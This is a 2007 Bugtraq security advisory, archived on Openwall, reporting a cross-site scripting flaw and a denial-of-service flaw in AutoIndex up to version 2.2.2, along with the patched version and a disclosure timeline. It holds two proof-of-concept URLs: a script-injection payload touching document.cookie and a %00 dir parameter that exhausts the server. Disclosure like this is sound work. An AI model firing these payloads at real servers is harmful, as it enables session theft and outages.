bugtraq - AutoIndex <= 2.2.2 Cross Site Scripting and Denial of Service

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Date: Mon, 12 Nov 2007 21:32:35 +0100
From: L4teral <l4teral@...il.com>
To: bugtraq@...urityfocus.com
Subject: AutoIndex <= 2.2.2 Cross Site Scripting and Denial of Service

======================================================================
AutoIndex <= 2.2.2 Cross Site Scripting and Denial of Service
======================================================================

Author:          L4teral <l4teral [4t] gmail com>
Impact:          Cross Site Scripting
                 Denial of Service (DoS)
Status:          patch available


------------------------------
Affected software description:
------------------------------

Application:     AutoIndex
Version:         <= 2.2.2/2.2.3
Vendor:          http://autoindex.sourceforge.net


--------------
Vulnerability:
--------------

1.
The variable $_SERVER['PHP_SELF'] is not properly sanitized
leading to cross site scripting.

2.
The use of unsanitized user input causes an error in the recursive
calculation of the size of a directory leading to cpu time/memory
consumption until the process gets killed.


------------
PoC/Exploit:
------------

1.
http://<host>/AutoIndex/index.php/"><script>alert(document.cookie)</script>

2.
http://<host>/AutoIndex/index.php?dir=%00


---------
Solution:
---------

update to version 2.2.4.


---------
Timeline:
---------

2007-11-05 - vendor informed
2007-11-05 - vendor released version 2.2.3 (fixing XSS)
2007-11-09 - vendor released version 2.2.4 (fixing DoS)
2007-11-12 - public disclosure